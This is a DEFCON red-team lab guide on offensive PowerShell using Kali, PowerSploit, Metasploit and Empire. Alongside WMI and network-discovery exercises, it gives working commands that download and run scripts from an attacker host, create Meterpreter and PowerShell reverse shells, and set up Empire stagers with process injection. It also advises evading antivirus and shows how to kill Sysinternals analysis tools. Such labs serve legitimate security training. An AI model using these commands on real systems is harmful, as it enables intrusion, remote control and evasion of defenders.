Leveraging PowerShell for Red Teams
DEFCON
Lab Guide

Table of Contents

Basic Network Discovery

Perform a Ping Scan

This lab will cover performing a ping sweep of a network range using .Net API instead of the Test-Connection cmdlet since the Tes0Connection cmdlet is slower than the direct API use.

1. Import the **Posh-SecMod** module.
2. Using **Get-Command** find only inside the Posh-SecMod module the cmdlets with the word **IP** as part of their **noun**.
3. Using the **Get-Help** cmdlet look at the cmdlets that allow for the generation of IP lists given a range. Look at the examples and select one.
4. Test the command generating a list for the class network range.
5. Using **Get-Member** check what type of object the cmdlet that you selected returns and if it is a string or not. If not a string see if any of the properties provide a representation of the IP as a string.

1. Create a new **System.Net.NetworkInformation.Ping** object. Open a Windows PowerShell window as Administrator, type the following commands, press **ENTER**

```
$ping = New-Object System.Net.NetworkInformation.Ping
```

2. Using Get-Member look at the methods available on the newly created object.
3. Look at all the overloads for calling the **Send()** method by invoking it without parenthesis, type the following commands, press **ENTER**

```
$ping.send
```

4. Find the overload that takes the address and a timeout.
5. Using the pipeline execute the ping **Send** method on each of the IPs from the range cmdlet you selected from Posh-SecMod with a timeout of **100 milliseconds**.
6. Execute the command again but this time filter the output so only the successful pings are shown.

Initial Kali Preparation

Before we start working with Kali Linux, we need to make sure that the default password for it is changed and that we setup Metasploit properly for used in the lab exercises. The network at Derbycon should be considered a hostile network so we need to take proper precautions.

Change Root Password

The default password in Kali Linux for root is **toor** change the password by opening a terminal windows and running the **passwd** command:

```
root@kali:~# passwd
```

Setup Metasploit Framework

Metasploit uses PostgreSQL as its database so it needs to launch first.

```
service postgresql start
```

You can verify that PostgreSQL is running by checking the output of **ss -ant** and making sure that port **5432** is listening.

```
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 :::22 :::*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 127.0.0.1:5432 *:*
LISTEN 0 128 ::1:5432 :::*
```

Setup a Web Server for PowerShell Code Delivery

On this lab, we will cover downloading the most common offensive PowerShell modules in to Kali for web delivery using the .Net WebClient class object.

Setup

PowerSploit already comes with Kali Linux. It can be found under **/usr/share/powersploit** The version that comes with it is an old one. It is recommended to use better a copy from GitHub to have the latest version and bug fixes.

Remove the current version of PowerSploit using apg-get:

```
apt-get remove powersploit
```

Navigate in to /usr/share a clone from GitHub the latest version.

```
cd /usr/share
git clone https://github.com/PowerShellMafia/PowerSploit.git powersploit
```

We will copy the scripts we need from each of the tool directories in to our Apache2 web directory. The main reason to copy files instead of linking or cloning directly is that some antivirus companies have started to detect known PowerShell tools and you may need to modify them to make them not trigger counter measures or to enhance their functionality.

Create folders for PowerShell payloads and for PowerSploit in the web root:

```
mkdir /var/www/html/{ps,pp,pv}
```

Navigate in the to the Apache2 web root:

```
cd /var/www/html/
```

Copy some of the most used PowerSploit scripst in to the **ps** folder under the Apache2 web root and PowerView in to the **pv** foder:

```
cp /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 ps/
cp /usr/share/powersploit/Recon/PowerView.ps1 pv/
```

Test that service is working properly

To test that the service is working properly check that both your Windows and Kali Linux VMs are on the same subnet.

On your Kali Linux VM check the IP address it is using the ifconfig command.

```
ifconfig
```

On the Windows VM to check the IP address it is using the ipconfig command should be ran from PowerShell or cmd.exe

```
ipconfig
```

From the Windows VM, ping the IP of the Kali VM to test that it is reachable:

```
ping <Kali VM IP>
```

Start the Apache2 service in the Kali VM:

```
service apache2 start
```

Check the status of the Apache2 service on the Kali VM:

```
service apache2 status
```

From the Windows VM we will create a WebClient object that we will use to download the PowerView main module in to a variable. Run the following commands in a PowerShell session on the Windows VM:

```
$request = New-Object System.Net.WebCLient
$pv = $request.DownloadString("http://<Kali VM IP>/pv/PowerView.ps1")
```

The command should have ran without any errors. Use the Invoke-Expression cmdlet to load in the current session the string you just downloaded:

```
Invoke-Expression $pv
```

List the functions now available on the session and you should see the PowerView functions:

```
ls function:\get-net*
```

Export Meterpreter Payload

On this section of the lab we will export our payload using TrustedSec Unicorn tool. We will first need to install the tool on our Kali instance so we can use it to generate a payload.

Install Unicorn

Download the latest version of Unicorn:

```
cd /usr/share/
git clone https://github.com/trustedsec/unicorn.git
```

Mark the Unicorn main script as executable and link it for use from any location:

```
chmod +x unicorn.py
ln -s /usr/share/unicorn/unicorn.py /usr/sbin/unicorn
```

Generate Meterpreter Payload

Navigate in to Apache2 web root folder and their in to the payload folder you created earlier. Generate a Meterpreter Reverse TCP Payload using Unicorn:

```
cd /var/www/html/pp
unicorn windows/meterpreter/reverse_tcp <Kali VM IP> 443
```

The command will generate a text file with the PowerShell command to launch the payload and a Metasploit resource file to launch msfconsole.

Launch Metasploit Framework using the resource file:

```
msfconsole -r unicorn.rc
```

On the Windows VM open a PowerShell window and type the commands bellow to download the PowerShell command and execute it with Invoke-Expression:

```
$IP = '<Kali VM IP>'
$request = New-Object System.Net.WebCLient
$payload = $request.DownloadString("http://$IP/pp/powershell_attack.txt")
Invoke-Expression $payload
```

You should now see a session created. You can list the session info in msfconsole using the sessions command:

```
sessions -l
```

Metasploit Interactive PowerShell Session

Using the newly created Meterpreter session we will use payload_inject to inject a PowerShell Interactive payload in to a process and have it auto load PowerView from our webserver.

Select the module and set its basic parameters:

```
use exploit/windows/local/payload_inject
set PAYLOAD windows/powershell_reverse_tcp
set LHOST <Kali VM IP>
set NEWPROCESS true
set SESSION <Existing Session Id>
```

Configure the module to load the PowerView module on initialization:

```
set LOAD_MODULES http://<Kali VM IP>/pv/powerview.ps1
```

Execute the local exploit:

```
exploit
```

You should now have an interactive PowerShell session. To test that PowerView properly loaded run the **Get-NetLoggedon** command in the interactive shell.

```
Get-NetLoggedon
```

Background the session by pressing Crtl-Z in your keyboard. List full details of the current sessions.

```
sessions -v
```

Empire RAT Basics

Setup

Download the latest version of Empire:

```
cd /usr/share/
git clone https://github.com/PowerShellEmpire/Empire.git
```

Setup the database that will contain all the data and configuration for the current engagement:

```
root@kali:~/Tools/Empire# cd setup/
root@kali:~/Tools/Empire/setup# ./install.sh
```

Generate SSL Key for use in secure C&C:

```
root@kali:~/Tools/Empire/setup# ./cert.sh
```

Start Empire:

```
root@kali:~/Tools/Empire/setup# cd ..
root@kali:~/Tools/Empire# ./empire
```

List commands in main context:

```
(Empire) > ?
```

Create a Listener

Go in to the listener menu:

```
(Empire) > listeners
```

Look at the default settings:

```
(Empire: listeners) > info
```

Set the parameter for an HTTPS connection and start the listener:

```
(Empire: listeners) > set CertPath ./data/empire.pem
(Empire: listeners) > unset Host
(Empire: listeners) > set Host  https://<your IP from the previous info>:8080
(Empire: listeners) > execute
```

List listeners to make sure it started:

```
(Empire: listeners) > list
```

If no listener is shown, check your information and correct any errors

Create a Stager

In this part of the lab, we will learn how to create a stager for a specific listener.

Let us look at the stagers we can use to deploy an agent:

```
(Empire: listeners) > usestager  <tab><tab>
```

Lets create a launcher that will use the listener to deploy an agent:

```
(Empire: listeners) > usestager launcher
(Empire: listeners) > set Listener 1
(Empire: stager/launcher) > execute
```

Copy the generated PowerShellone liner to your Windows VM to launch the stager and deploy and agent.

Agents Basics

Change to the agent context:

```
(Empire) > agents
```

List the commands available under the agent context:

```
(Empire: agents) > ?
```

Rename your agent to LabVM (You can use Tab key to select the current agent name):

```
(Empire: agents) > rename <agent name> LabVM
```

Select the LabVM agent to interact with and list commands available:

```
(Empire: agents) > interact LabVM
(Empire: LabVM) > ?
```

Get System Information:

```
(Empire: LabVM) > sysinfo
```

Enumerate the local host:

```
(Empire: LabVM) > usemodule situational_awareness/host/winenum
(Empire: situational_awareness/host/winenum) > info
(Empire: situational_awareness/host/winenum) > execute
```

Inject in to Process

On this part of the lab, we will practice injecting an agent in to a running process. One thing to consider is that as if with any shell code execution the architecture we are running under will dictate in to what we can inject into. You ca inject to a process of the same architecture as you are running under.

List all current processes:

```
(Empire: LabVM) > ps
```

Find the explorer.exe process; verify the architecture is the same as the powershell.exe process you are running under by running the **sysinfo** command under the interactive agent context. Take note of the PID of the process.

Migrate to the explorer.exe process:

```
(Empire: LabVM) > psinject 1 2792
(Empire: management/psinject) > execute
(Empire: management/psinject) >
```

Run the agents command to list the current agents and you should see the new agent running under the explorer.exe process

```
(Empire: management/psinject) > agents
```

WMI/CIM

Finding the Right Class

In this lab, you will learn how to search for a WMI/CIM class. We will search one namespace deep from root for the class that represents the configure AntiVirus on the Windows system.

1. List the namespaces under root , type the following commands, press **ENTER**

```
Get-WmiObject -Class __namespace -namespace root
```

2. Save only the names of the namespaces, type the following commands, press **ENTER**

```
Get-WmiObject -Class __namespace -namespace root | Select-Object -
ExpandProperty name
```

3. Save the names in to a variable, type the following commands, press **ENTER**

```
$ns = Get-WmiObject -Class __namespace -namespace root | Select-Object
-ExpandProperty name
```

4. Using the pipeline search under each for a class whose name contains the string **AntiVirus**, type the following commands, press **ENTER**

```
$ns | foreach {get-wmiobject -list *antivirus* -namespace "root\$($_)"}
```

5. 2 classes should have been found with the same name but under different namespaces. Get an instance of each to find the correct one.

Finding Relations

In this lab, you will learn how to look at WMI relations to find more information about an object represented by a class instance.

6. Find under the default namespace a class whose name contains the string NetworkAdapter, type the following command and press **ENTER**

```
Get-WmiObject -List *networkadapter*
```

7. We should see both a CIM and a Win32 class for the network adapter, either one would work for the purposes of the lab. Get all instanced for the network adapter class, type the following command and press **ENTER**

```
Get-WmiObject -Class win32_networkadapter
```

8. Identify the one that represents your physical adapter and take note of the DeviceID property. Query again for the network adapter instance but filter for the DeviceID. Type the following command and press ENTER making sure to specify the DeviceID number for your own interface. Type the following command and press **ENTER**

```
$nic = Get-WmiObject -Class win32_networkadapter -Filter "DeviceID='1'"
```

9. When piped in to Format-List we cannot see in the properties the IP Address of the adapter. Type the following command and press **ENTER**

```
$nic | Format-List -Property *
```

10. To get the related classes with the Network Adapter instance we call the **GetRelated()** method on the class. Type the following command and press **ENTER**

```
$nic.GetRelated()
```

11. As can be seen, we get the instances of the specific objects related to the network adapter. Next, we need to look at the names of the classes we get. Type the following command and press **ENTER**

```
$nic.GetRelated() | select -Property __class
```

12. The class that should have the configuration with the IP Address of the interface card should be the **Win32_NetworkAdapterConfiguration** class. Let us only get the related class instance for this class. Type the following command and press **ENTER**

```
$nic.GetRelated("Win32_NetworkAdapterConfiguration")
```

13. We now see the IP Address information for the interface.
14. Find the class that identifies the **driver** for the network interface.
15. Look at the driver class properties using **Format-List**.
16. Get all instances of the driver class and filter the properties so only the **path** to the driver file is shown.

17. Using the Pipeline pass the path information in to **Get-AuthnticodesSignature** to validate the digital signature of the drivers.

Temporary Event

In this lab, we will learn how to work with temporary WMI events.
Many times, there is no easy way to look at the event that is passed to an action in a temporary event to have a better understanding in designing the code for the action. An easy way to work around this is by saving a copy of the triggered event in to global variable.

1. Create a **__InstanceCreationEvent** query that will check every **5** seconds for new **Win32_Process** instance. Type the following command and press **ENTER**

```
$queryCreate = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE
TargetInstance ISA 'Win32_Process'"
```

2. Create an action scriptblock that will write to the console that a process was create so we know when to check the variable. Type the following command and press **ENTER**

```
$CrateAction = {
    $Global:MyEvtVar = $event
    $name = $event.SourceEventArgs.NewEvent.TargetInstance.name
    write-host "Process $($name) was created."
}
```

3. Bind together the query and action. Type the following command and press **ENTER**

```
Register-WMIEvent -Query $queryCreate -Action $CrateAction
```

4. Start cmd.exe and wait for the message to appear that a process was created. If none is shown hit ENTER.
5. Look at the content of **$Global:MyEvtVar**. Type the following command and press **ENTER**

```
$Global:MyEvtVar
```

6. To see the query that generated the event look at the **Query** property in the object saved in the in the Sender property. Type the following command and press **ENTER**

```
$Global:MyEvtVar.SourceArgs.Query
```

7. The object that triggered the event can be found at **SourceEventArgs.NewEvent.TargetInstance** or **SourceArgs.NewEvent.TargetInstance**. Type the following command and press **ENTER**

```
$Global:MyEvtVar.SourceEventArgs.NewEvent.TargetInstance
```

8. To list all registered temporary events subscriptions we use the Get-EventSubscriber cmdlet. Type the following command and press **ENTER**

```
Get-EventSubscriber
```

9. To unregister a subscription, the Unregister-Event cmdlet is used. You can either using the pipeline pipe all the event subscription objects from Get-EventSubscriber in to Unregister-Events or specify them by their Id or SourceIdentifier property. Type the following command and press **ENTER**

```
Get-EventSubscriber | Unregister-Event -Verbose
```

We will now practice taking an action against a process by crating one that will monitor for the creation of a notepad process and kill it.

1. Start notepad.exe and create a WMI Query that will only capture notepad.exe to test out the logic of the **Name** property for a **Win32_Process** type instance. Type the following command and press **ENTER**

```
Get-WmiObject -query "SELECT * FROM Win32_Process WHERE
Name='notepad.exe'"
```

2. Create a ScriptBlock variable whose purpose will be to terminate a process given an event. Type the following command and press **ENTER**

```
$action = {Stop-Process -Id
$event.SourceEventArgs.NewEvent.TargetInstance.ProcessId}
```

3. Now we create a __InstanceCreationEvent query that will check every 5 seconds for new Win32_Process instance with a Name of notepad.exe. Type the following command and press **ENTER**

```
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE
TargetInstance ISA 'Win32_Process' AND
TargetInstance.Name='notepad.exe'"
```

4. Bind together the Query with the Action using Register-WinEvent with a SourceIdentifier of KillNotepad. Type the following command and press **ENTER**

```
Register-WmiEvent -Query $query -SourceIdentifier "KillNotepad" -Action
$action
```

5. To see the registered event information we use the Get-EventSubscriber cmdlet. Type the following command and press **ENTER**

```
Get-EventSubscriber -SourceIdentifier killnotepad
```

6. Create a new notepad process; the action configured will execute and stop the process. 5 seconds.
7. Unregister the event.

On this lab, you will practice detecting and killing 2 specific processes.

1. Create a query **__InstanceCreationEvent that will detect if Process Explorer, ProcMon or Autoruns** from Sysinternals when created and stop the process.
2. Create an action script block that will stop the event and write to the console **"Try Harder"**
3. Bind the action, query together, and give it a **SourceIdentifies** of **'Troll'**.
4. Teste the event subscription.
5. Remove the event subscription after testing.